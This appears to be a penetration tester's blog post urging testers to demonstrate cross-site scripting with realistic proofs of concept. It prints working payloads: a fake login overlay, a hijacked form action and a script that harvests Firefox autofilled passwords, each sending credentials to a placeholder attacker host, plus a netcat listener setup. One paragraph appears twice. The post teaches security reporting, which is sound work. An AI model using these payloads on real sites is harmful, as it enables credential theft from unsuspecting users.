The slow death of XSS

Ever since I took my first baby steps in web application penetration testing, I’ve seen people using alert(‘xss’) and alert(document.cookie) to prove an application is vulnerable to cross-site scripting. Despite the title of this little rant (and yes, it is a rant), I’ve got no problem with that… up to a point. We need something simply, easy and visual to use in testing, and the alert pop-up has been the weapon of choice for a long long time. With that said though, there’s a time and place for a pop-up saying ‘xss’ or god forbid ‘pwnd’ or ‘hello world’. That time and place is in the lab when you’re testing. After all, if that’s your proof of concept attack in an official report, no wonder the managers, developers and people holding the purse strings don’t agree with your risk analysis.

You’ll be hard pressed to find a half decent developer or technically savvy manager that’s not heard of cross-site scripting. However, we’ve drilled it into people, that an XSS vulnerability is nothing more than a pop-up on the screen saying a witty message, or showing you your own cookie. In most cases we’re to blame for this reaction. After all, every time we demo an XSS flaw, that’s what we do…. good old alert(‘xss’).

So enough of the ranting, and on to the proof of concepts… after all, I can’t just leave you guys hanging without a solution, or at least a starting point. You’ll find examples like this (and probably better than this) all over the web. So take some time to look around and see what else there is you can do with XSS. You’ll be surprised what you can achieve with a simple reflective XSS attack.

Overlay
I’ve used this type of injection on a few occasions, and even though there are other more interesting methods of achieving the same thing, the technique can be used to do a lot… including blanking out sections of the site with your own content (advert, link, fake news entry etc…)

<div style=”position:absolute;top:225px;left:126px;height=100px;width=100px;z-index:1;background-color:#FF3300″><form action=”http://[Attacker-IP]/evil.php”>Username:<br><input type=”text” name=”user”><br>Password:<br><input type=”text” name=”pass”><br><input type=”submit” value=”Logon”></form></div>

You can easily try this out yourself by pasting the above into a text editor and saving it as overlay.html. Opening it directly in your browser will bring up the rather obvious looking overlay (see orange screenshot). Why orange you may ask. Well, it’s so you can see where your overlay is when you’re working out the placement. It’s also find of hard to show management where your overlay is if it’s the same colour as the rest of the screen. For attackers, it’s got to look perfect. For a report and a demo, you also need to make it obvious so you can get your point across. It’s simple enough to change the background-color:#FF3300 to a colour of your choosing.

In this example the username and password information will be sent to the value of form action. In this case http://[Attacker-IP]/evil.php. You can simply set a netcat listener (nc -l 80) on a system to receive the information. It’s quick and easy, but doesn’t really give that full on attacker feel, as the user won’t get a response and timeout in the end. To prevent that, you can setup a php script to grab the info, or just do something quick and simple. I’ve been toying with a simple text file solution (quick and dirty).

As you can see, the solution uses a simple text file (302.txt in the above screenshot). This is fed into the netcat listener so that when our victim connects, they’ll receive a 302 redirect to whatever we add into the location. Obviously we can chain this and have them redirected to a Metasploit listener (see my ie_peers example video), or to anything else we want… BeEF for example!

Form Fiddling

Fiddling with forms is a little more fun and advanced than the above overlay option. Still it’s not exactly rocket science, else a non-programmer like me would never be able to manage it.

The basic idea is that by inserting JavaScript into the page (through stored or reflected XSS) you can change elements on the page after they’ve loaded. There’s a lot of different possibilities here, but keeping with our password stealing example from the overlay, here’s a simple example that alters the first form on the page [0] to a destination of the attackers choice.

onsubmit=”document.forms[0].action=’http://[Attacker-IP]/evil.php’”

The good thing about using the “onsubmit” event to make this change, is that if the user however over the submit link on the form, any pop-up will still be pointing to the official location. The change only takes effect when the user clicks submit. Then, as before, a simple netcat listener to wait for the communication from the victim machine. Even though this is an easy to implement attack, and it’s very effective, it’s hard to show screenshots of this in a report. Sometimes a picture is worth a thousand words. However, it’s great for live demos. Especially if you set the 302 redirect to send them back to the logon screen again (this time without the form changes). Most users will simple accept that they mis-typed their password.

The good thing about using the “onsubmit” event to make this change, is that if the user however over the submit link on the form, any pop-up will still be pointing to the official location. The change only takes effect when the user clicks submit. Then, as before, a simple netcat listener to wait for the communication from the victim machine. Even though this is an easy to implement attack, and it’s very effective, it’s hard to show screenshots of this in a report. Sometimes a picture is worth a thousand words. However, it’s great for live demos. Especially if you set the 302 redirect to send them back to the logon screen again (this time without the form changes). Most users will simple accept that they mis-typed their password.

Firefox Password Database / Single Sign-On

I was reminded of this attack vector recently as Jeremiah Grossman mentioned it on his Twitter feed. The basic premise of this attack is that Firefox will autofill saved passwords if the user has opted to save the logon information. Alongside Firefox I can also think of a few Single Sign-On tools that do the same sort of thing, and as a result should also fall foul to the same exploit (I need to do further testing to confirm this however).

By creating a hidden field as type password, the browser will autofill this with any saved password for the page. As this isn’t done straight away, a delay is imposed (using setTimeout) to delay the second action until the password is filled in and ready to be stolen.

javascript:document.write(‘<form><input id=pword type=password></form>’);<script>setTimeout(‘window.location =”http://[Attacker-IP]/evil.php?passwd=” %2bdocument.getElementById(“pword”).value’,100) </script>

The above example waits for 100 milliseconds and then performs a redirection (using window.location) to the attacker owned system. Again, it’s up to you what you want to do here. The window.location is a simple proof of concept, however it could be worked into a hidden iFrame, or even an AJAX request so that the victim isn’t aware of the transaction.

————————————————————–

These are all simple examples, but should be enough to get you started on a working proof of concept for your next XSS. With more time you can make these sneakier, better and a whole lot more evil. Where you take them from here is up to you.

Cross-Site Scripting might not be as exciting as SQLInjection or File includes…. but it is what you make of it. If you make it pop-up a box saying how 1337 you are, then don’t expect to get your message across.